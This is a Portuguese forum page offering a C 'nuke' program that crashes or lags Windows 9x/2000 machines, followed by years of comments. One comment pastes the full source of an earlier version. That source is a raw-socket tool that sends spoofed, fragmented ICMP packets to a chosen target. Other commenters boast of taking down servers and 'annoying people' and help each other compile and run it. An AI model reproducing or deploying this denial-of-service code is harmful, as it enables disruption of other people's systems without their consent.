Pular para o conteúdo

Derrubando Win9x/Win2k !

Esse eh um nuke contra win9x e win2k ! Caso nao derrube o sistema, o programa vai fazer com que o lag desse sistema, aumente, e muito !
Nao foi escrito por mim ! Apenas fiz a traducao !
Infelizmente nao coloquei o codigo fonte a amostra pois ele nao coube... !
Para baixar o codigo fonte eh soh fazer um download dele !

Falows !
Denis Zanin vir0se
Hits: 66.843 Categoria: C/C++ Subcategoria: Avançado
  • Download
  • Nova versão
  • Indicar
  • Denunciar

Descrição

Esse eh um nuke contra win9x e win2k ! Caso nao derrube o sistema, o programa vai fazer com que o lag desse sistema, aumente, e muito !
Nao foi escrito por mim ! Apenas fiz a traducao !
Infelizmente nao coloquei o codigo fonte a amostra pois ele nao coube... !
Para baixar o codigo fonte eh soh fazer um download dele !

Falows !
Download trash2.c Enviar nova versão

Esconder código-fonte

NAO COUBE !!!!! =\

Lista dinâmica de variáveis

Jogo Simon (Genius) - com gráficos

Jogo Final Fight - Haggar (com gráficos)

Estrutura Simples (REGISTRO)

Contar elementos de uma lista encadeada

#1 Comentário enviado por fabio em 08/04/2003 - 15:20h
Show o script, porém não consegui derrubar as máquinhas w2k da rede aqui. Será que é pq a rede está em 100mbps?
Ah e precisa ser root pra conseguir abrir o socket também. Você já conseguiu lagar alguma máquina?

[]'s,
Fábio
#2 Comentário enviado por vir0se em 09/04/2003 - 22:42h
Jah consegui sim.. ! Eu jah derrubei um servidor win2k !
Tente aumentar os pacotes enviados que talvez aumente o lag na maquina vitima !

Falows !
#3 Comentário enviado por rsouza em 27/08/2003 - 01:17h
Muito bom o script, consegui derrubar estações win9X
#4 Comentário enviado por CyberLink em 02/11/2003 - 02:21h
bah ñ consegui copilar.... alguem poderai me ajudar... uso o Mandrake 9.2..
da os erros
[cyberlink@localhost trash2]$ gcc trash2.c -o trash
trash2.c: In function `sendwin98bug':
trash2.c:152: error: dereferencing pointer to incomplete type
trash2.c:153: error: dereferencing pointer to incomplete type
trash2.c:154: error: dereferencing pointer to incomplete type
trash2.c:154: error: invalid application of `sizeof' to an incomplete type
trash2.c:156: error: invalid application of `sizeof' to an incomplete type
trash2.c:161: error: invalid application of `sizeof' to an incomplete type................

e assimpor diante, alguem poderia me dizer o que é, sera que tem algo errado..... se alguem sabe o que é me mande uma e-mail beto_poprock@hotmail.com
#5 Comentário enviado por themask em 04/01/2004 - 22:37h
o meu tbm nao funcionou, deu varios erros e gostaria de uma ajuda dos colegas.
#6 Comentário enviado por CyberLink em 07/01/2004 - 03:56h
aew galera dão uma força ai... qual sera o problema????
#7 Comentário enviado por maurosimoes em 14/01/2004 - 11:32h
Verifique se todos as bibiliotecas do C estao instaladas. Isto vai depender de qual compilador C voce está utilizando.

Por exemplo: O meu compilador MS VC++ 6 nao possui dentro de si o header unistd.h o que inviabiliza a compilacao.
#8 Comentário enviado por adaoraul em 22/01/2004 - 23:09h
aki funcionou legal, consegui derrubar uns caras chatos q ficam me enchendo...
#9 Comentário enviado por atilazip em 29/03/2004 - 00:03h
Tenho o mesmo script com umas motificações que o torna mais efisiente, em breve o colocarei a disposição.
#10 Comentário enviado por anunakin em 12/04/2004 - 15:15h
DICA: Para obter o mesmo resultado que este ou outro script para derrubar estações win32, basta ficar usando a mesma por uns 30 minutos.... ;-)
#11 Comentário enviado por anunakin em 12/04/2004 - 15:16h
DICA: Para obter o mesmo resultado que este ou outro script para derrubar estações win32, basta ficar usando a mesma por uns 30 minutos.... ;-)
#12 Comentário enviado por xilluminado em 14/04/2004 - 14:09h
Deu o seguinte erro na compilação, existe outra forma de compilar ?
<br># gcc trash2.c -o trash
<br>trash2.c: In function `sendwin98bug':
<br>trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
<br>trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type
#13 Comentário enviado por xilluminado em 14/04/2004 - 14:09h
Deu o seguinte erro na compilação, existe outra forma de compilar ?
<br># gcc trash2.c -o trash
<br>trash2.c: In function `sendwin98bug':
<br>trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
<br>trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type
#14 Comentário enviado por xilluminado em 14/04/2004 - 14:10h
Deu o seguinte erro na compilação, existe outra forma de compilar ?
<br># gcc trash2.c -o trash
<br>trash2.c: In function `sendwin98bug':
<br>trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
<br>trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type
#15 Comentário enviado por xilluminado em 14/04/2004 - 14:10h
Deu o seguinte erro na compilação, existe outra forma de compilar ?
<br># gcc trash2.c -o trash
<br>trash2.c: In function `sendwin98bug':
<br>trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
<br>trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type
#16 Comentário enviado por vir0se em 24/04/2004 - 04:10h
xilluminado: isso nao eh erro nao... eh apenas um warning.... o script deve ter sido compilado normalmente. ;)
#17 Comentário enviado por removido em 06/05/2004 - 11:12h
aki deu erro mas eu reescrevi de uma forma mais simples.. com resultados melhores! flw!! em breve!
#18 Comentário enviado por coyote em 09/05/2004 - 10:34h
tente usar g++ na hora de compilar!!

Um abraço

Cassio
#19 Comentário enviado por gregorye em 21/06/2004 - 23:50h
Como faço pra rodar ele depois de compilado, e nukar?
#20 Comentário enviado por gustavonrg em 22/06/2004 - 13:45h
tb naum consegui
#21 Comentário enviado por cliver_x em 26/06/2004 - 16:43h
maneiro script rodou na boa aki tenta compilar assim

gcc -o trash trash.c -lcrypto
#22 Comentário enviado por srfeudal em 02/07/2004 - 17:08h
Não rolou galera
[root@fedora root]# gcc -o trash trash2.c -lcrypto
trash2.c: In function `sendwin98bug':
trash2.c:152: error: dereferencing pointer to incomplete type
trash2.c:153: error: dereferencing pointer to incomplete type
trash2.c:154: error: dereferencing pointer to incomplete type
trash2.c:154: error: invalid application of `sizeof' to an incomplete type
trash2.c:156: error: invalid application of `sizeof' to an incomplete type
trash2.c:161: error: invalid application of `sizeof' to an incomplete type
trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type
#23 Comentário enviado por d3f4c3m3ntz em 28/07/2004 - 02:19h
Tem como agente saber se o server ta derrubado ou não.. ??!?!?
#24 Comentário enviado por GrupoFimdeprova em 06/08/2004 - 10:42h
Eu também não consegui!
#25 Comentário enviado por joaoayub em 19/08/2004 - 16:02h
Eu também não consegui!!
Deo o mesmo erro
#26 Comentário enviado por dark_slack em 06/09/2004 - 01:07h
como faco pra derrubar um servidor windows? qual coando? ele pode ser feito se eu nao estiver em uma lan?
#27 Comentário enviado por gregorye em 06/11/2004 - 04:28h
Alguem sabe oque posso usar para instalar o esquema para gcc e funcionar este script 100% ! já rodei ele uma vez mas agora acontece o seguinte erro!

barros:/home/adm-gregory# gcc trash2.c -o trash
trash2.c:38: stdio.h: No such file or directory
trash2.c:39: unistd.h: No such file or directory
trash2.c:40: stdlib.h: No such file or directory
trash2.c:41: string.h: No such file or directory
trash2.c:42: sys/types.h: No such file or directory
trash2.c:43: sys/time.h: No such file or directory
trash2.c:44: sys/socket.h: No such file or directory
trash2.c:45: pwd.h: No such file or directory
trash2.c:46: time.h: No such file or directory
trash2.c:47: sys/utsname.h: No such file or directory
trash2.c:48: netdb.h: No such file or directory
trash2.c:49: netinet/in.h: No such file or directory
trash2.c:50: netinet/ip.h: No such file or directory
trash2.c:51: netinet/ip_icmp.h: No such file or directory
trash2.c:52: netinet/igmp.h: No such file or directory
barros:/home/adm-gregory#
#28 Comentário enviado por removido em 22/11/2004 - 02:48h
Aee galera. Eu estava com o mesmo problema de vcs, simplesmente não compilava e dava esses erros
trash2.c: In function `sendwin98bug':
trash2.c:152: error: dereferencing pointer to incomplete type
trash2.c:153: error: dereferencing pointer to incomplete type
trash2.c:154: error: dereferencing pointer to incomplete type
trash2.c:154: error: invalid application of `sizeof' to an incomplete type
trash2.c:156: error: invalid application of `sizeof' to an incomplete type
trash2.c:161: error: invalid application of `sizeof' to an incomplete type
trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type
Então resolvi procurar na net e procurar a versão original do programa, que achei nesse endereço:
http://newdata.box.sk/neworder/feb2000/trash.c
Esse compilou na boa aqui no meu Fedora :)
Abraços
#29 Comentário enviado por Sacred em 05/12/2004 - 11:34h
Comigo tá tando a mesma coisa que os outros. Eu peguei a versão original do programa e compilei direitinho com o gcc

Mas na hora de executar deu errado.
Eu estou usando Conectiva 10
#30 Comentário enviado por scottys0 em 09/12/2004 - 12:23h
vamo estudar C ... hehehehe
#31 Comentário enviado por marcaoguitarra em 22/12/2004 - 17:21h
vou dar uma sacada aki

falow
#32 Comentário enviado por PHPautH em 02/01/2005 - 21:41h
legal mesmooooooooo
#33 Comentário enviado por removido em 22/01/2005 - 23:47h
Alguém conseguiu compilar no Windows?
Eu uso o GNU MinGW/Bloodshed DevC++ 4, mas ainda não consegui compilar.
Tem uma versão "for ruindows" para este script?

No Slack 10 funcionou que é uma beleza!
#34 Comentário enviado por PCMasterPB em 23/10/2005 - 00:33h
Realmente o arquivo original (http://newdata.box.sk/neworder/feb2000/trash.c) compilou sem problemas aqui no suse 9.3, já o que eu desci do vol da erro. Agora como usar esse executável pra derrubar o server? Queria testar ele numa máquina aqui so pra ver heheheeehe ;D
#35 Comentário enviado por xflavio em 20/12/2005 - 12:35h
* é verdade mesmo o script que o cidadão indicou no site esta correto. *
#36 Comentário enviado por glecio em 25/12/2005 - 19:20h
Consegui derrubar apenas as máquinas com W98 as w2k não caíram.
#37 Comentário enviado por slack_uba em 26/01/2006 - 10:37h
OCORREU O SEGUINTE ERRO !!!!!!

# gcc trash2.c -o trash
trash2.c: In function `sendwin98bug':
trash2.c:152: error: dereferencing pointer to incomplete type
trash2.c:153: error: dereferencing pointer to incomplete type
trash2.c:154: error: dereferencing pointer to incomplete type
trash2.c:154: error: invalid application of `sizeof' to an incomplete type
trash2.c:156: error: invalid application of `sizeof' to an incomplete type
trash2.c:161: error: invalid application of `sizeof' to an incomplete type
trash2.c:172: warning: passing arg 5 of `sendto' from incompatible pointer type
trash2.c:183: warning: passing arg 5 of `sendto' from incompatible pointer type
trash2.c: In function `send_igmp':
trash2.c:253: error: invalid application of `sizeof' to an incomplete type
trash2.c:258: error: invalid application of `sizeof' to an incomplete type
trash2.c:271: error: dereferencing pointer to incomplete type
trash2.c:272: error: dereferencing pointer to incomplete type
trash2.c:277: error: invalid application of `sizeof' to an incomplete type
trash2.c:282: error: invalid application of `sizeof' to an incomplete type
trash2.c:294: error: dereferencing pointer to incomplete type
trash2.c:295: error: dereferencing pointer to incomplete type
trash2.c:300: error: invalid application of `sizeof' to an incomplete type
trash2.c:305: error: invalid application of `sizeof' to an incomplete type
trash2.c:310: error: dereferencing pointer to incomplete type
trash2.c:311: error: dereferencing pointer to incomplete type
trash2.c:316: error: invalid application of `sizeof' to an incomplete type

ALGUEM TEM ESSE SCRIPT CORRIGIDO OU ALGUM PARECIDO QUE FAÇA A MESMA FUNÇÃO ?????
E-MAIL: slack_uba@yahoo.com.br
#38 Comentário enviado por PCMasterPB em 28/01/2006 - 01:21h
slack_uba, eu já tinha colocado o link com o texto correto do arquivo trash.c (http://newdata.box.sk/neworder/feb2000/trash.c), mas ta ae o script correto, caso o servidor por algum motivo apagá-lo:

----------------Copie esse texto para o arquivo trash.c---------------

/* Simple denial of service attack against Windows98/95/2000/NT Machines
Overview: sends random, spoofed, ICMP packets with randomly choosen
ICMP error codes.
Result: Freezes the users machine or a CPU usage will rise to extreme
lag. tested on:
2.0.35
2.2.5-15
2.2.9
2.0.36
You may freely alter this code, but give credit where credit is due
*/
/* greets go out to:
|gyr0|, Legio2000 Security Research(c)[for the idea and some of
the code from bloop.c], codesearc, P.A.T.C.H., ppl in
#ehforce@unet, #bitchx@unet, 0l3g, packetstorm security
-coded by misteri0 - [pr0tocol]
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
void banner(void) {

printf("trash.c - misteri0@unet [pr0tocol]\n\n");
printf("\n\n");
}
void usage(const char *progname) {
printf("usage:\n");
printf("./trash [src_ip] [dst_ip] [# of packets]\n",progname);
printf("\t[*] [ip_src] : ex: 205.56.78.0\n");
printf("\t[*] [ip_dst] : ex: 201.12.3.76\n");
printf("\t[*] [number] : 100\n");
printf("[pr0tocol] We are all connected by a simple line, just have to know where to cut it [pr0tocol]\n");
}
int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
struct hostent *host;
memset(addr,0,sizeof(struct sockaddr_in));
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr(name);
if (addr->sin_addr.s_addr == -1) {
if (( host = gethostbyname(name) ) == NULL ) {
fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
return(-1);
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
}
addr->sin_port = htons(port);
return(0);
}
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
int send_winbomb(int socket,
unsigned long spoof_addr,
struct sockaddr_in *dest_addr) {
unsigned char *packet;
struct iphdr *ip;
struct icmphdr *icmp;
int rc;

packet = (unsigned char *)malloc(sizeof(struct iphdr) +
sizeof(struct icmphdr) + 8);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
ip->ihl = 5;
ip->version = 4;
// ip->tos = 2;
ip->id = htons(1234);
ip->frag_off |= htons(0x2000);
// ip->tot_len = 0;
ip->ttl = 30;
ip->protocol = IPPROTO_ICMP;
ip->saddr = spoof_addr;
ip->daddr = dest_addr->sin_addr.s_addr;
ip->check = in_cksum(ip, sizeof(struct iphdr));

icmp->type = rand() % 15;
icmp->code = rand() % 15;
icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1);
if (sendto(socket,
packet,
sizeof(struct iphdr) +
sizeof(struct icmphdr) + 1,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) { return(-1); }
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
ip->frag_off = htons(8 >> 3);
ip->frag_off |= htons(0x2000);
ip->check = in_cksum(ip, sizeof(struct iphdr));
icmp->type = rand() % 15;
icmp->code = rand() % 15;
icmp->checksum = 0;
if (sendto(socket,
packet,
sizeof(struct iphdr) +
sizeof(struct icmphdr) + 8,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) { return(-1); }
free(packet);
return(0);
}
int main(int argc, char * *argv) {
struct sockaddr_in dest_addr;
unsigned int i,sock;
unsigned long src_addr;
banner();
if ((argc != 4)) {
usage(argv[0]);
return(-1);
}

if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
fprintf(stderr,"ERROR: Opening raw socket.\n");
return(-1);
}

if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
src_addr = dest_addr.sin_addr.s_addr;
if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
printf("Status: Connected....packets sent.\n",argv[0]);
for (i = 0;i < atoi(argv[3]);i++) {
if (send_winbomb(sock,
src_addr,
&dest_addr) == -1) {
fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
return(-1);
}
usleep(10000);
}
}

--------------------------------- Fim -----------------------------------
#39 Comentário enviado por JulianoSMM em 13/03/2006 - 17:34h
no ubuntu não consegui, alguém sabe as libs que tenho que pegar?
#40 Comentário enviado por removido em 13/03/2006 - 17:50h
JulianoSMM, dê uma olhada na mensagem de erro.
Esse código é super simples, não creio que possa não funcionar em uma distro diferente da outra, ou que seja necessário uma lib ou outra em especial para a distro.
Veja se tu tens os compiladores do GCC.
Abraços
#41 Comentário enviado por insabralde em 17/04/2006 - 08:39h
Como é o comando para utilizar o script...
#42 Comentário enviado por brevleq em 21/04/2006 - 00:27h
Como eu faço pra compilar o fonte? Tah dando esses erros:

brevleq@brevleq:~/downloads$ g++ trash2.c -o trash
trash2.c: In function `unsigned int randip()':
trash2.c:80: error: `inet_aton' undeclared (first use this function)
trash2.c:80: error: (Each undeclared identifier is reported only once for each
function it appears in.)
trash2.c: In function `int resolve(const char*, unsigned int, sockaddr_in*)':
trash2.c:87: error: `inet_addr' undeclared (first use this function)
trash2.c: At global scope:
trash2.c:99: error: `addr' was not declared in this scope
...........
#43 Comentário enviado por removido em 26/08/2006 - 20:14h
ah por isso q num tava compilando...
#44 Comentário enviado por removido em 26/08/2006 - 20:16h
ah por isso q num tava compilando...
e vc tem q compilar com o gcc trash.c -o trash
não com o g++
#45 Comentário enviado por shirglei em 01/08/2007 - 15:31h
Olá, eu sou novo no linux, uso o ubuntu, gostaria de saber como faço pra compilar e executar este script.
#46 Comentário enviado por marcaoguitarra em 02/08/2007 - 12:10h
cara, se voce ler dentro do arquivo fonte está escrito o procedimento para compilar que é o seguinte:
# gcc -o trash2 trash2.c
para executar é só digitar
# ./trash2

falows
#47 Comentário enviado por removido em 20/06/2008 - 14:43h
Ei bom mesmo...
#48 Comentário enviado por comfaa em 10/10/2008 - 09:14h
nao consegui rolar nao
:(
#49 Comentário enviado por edivandoflf em 24/06/2010 - 10:12h
Ei ta dando um monte de erro...

trash2.c:258: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:271: error: dereferencing pointer to incomplete type
trash2.c:272: error: dereferencing pointer to incomplete type
trash2.c:277: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:282: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:294: error: dereferencing pointer to incomplete type
trash2.c:295: error: dereferencing pointer to incomplete type
trash2.c:300: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:305: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:310: error: dereferencing pointer to incomplete type
trash2.c:311: error: dereferencing pointer to incomplete type
trash2.c:316: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
#50 Comentário enviado por cr4sh0v3rr1d3 em 06/05/2013 - 00:07h
trash2.c: Na função ‘randip’:
trash2.c:78:17: warning: format ‘%d’ espera argumento do tipo ‘int’, porém o argumento 3 possui tipo ‘long int’ [-Wformat]
trash2.c:78:17: warning: format ‘%d’ espera argumento do tipo ‘int’, porém o argumento 4 possui tipo ‘long int’ [-Wformat]
trash2.c:78:17: warning: format ‘%d’ espera argumento do tipo ‘int’, porém o argumento 5 possui tipo ‘long int’ [-Wformat]
trash2.c:78:17: warning: format ‘%d’ espera argumento do tipo ‘int’, porém o argumento 6 possui tipo ‘long int’ [-Wformat]
trash2.c: Na função ‘sendwin98bug’:
trash2.c:152:13: error: dereferencing pointer to incomplete type
trash2.c:153:13: error: dereferencing pointer to incomplete type
trash2.c:154:13: error: dereferencing pointer to incomplete type
trash2.c:154:62: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:156:47: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:161:22: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:172:26: warning: passing argument 5 of ‘sendto’ from incompatible pointer type [habilitado por padrão]
In file included from trash2.c:44:0:
/usr/include/i386-linux-gnu/sys/socket.h:155:16: note: expected ‘const struct sockaddr *’ but argument is of type ‘struct sockaddr_in *’
trash2.c:183:66: warning: passing argument 5 of ‘sendto’ from incompatible pointer type [habilitado por padrão]
In file included from trash2.c:44:0:
/usr/include/i386-linux-gnu/sys/socket.h:155:16: note: expected ‘const struct sockaddr *’ but argument is of type ‘struct sockaddr_in *’
trash2.c: Na função ‘send_igmp’:
trash2.c:253:44: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:258:46: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:271:8: error: dereferencing pointer to incomplete type
trash2.c:272:8: error: dereferencing pointer to incomplete type
trash2.c:277:22: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:282:55: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:294:8: error: dereferencing pointer to incomplete type
trash2.c:295:8: error: dereferencing pointer to incomplete type
trash2.c:300:22: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:305:55: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’
trash2.c:310:8: error: dereferencing pointer to incomplete type
trash2.c:311:8: error: dereferencing pointer to incomplete type
trash2.c:316:22: error: invalid application of ‘sizeof’ to incomplete type ‘struct igmphdr’

script furado-.-

Contribuir com comentário

Entre na sua conta para comentar.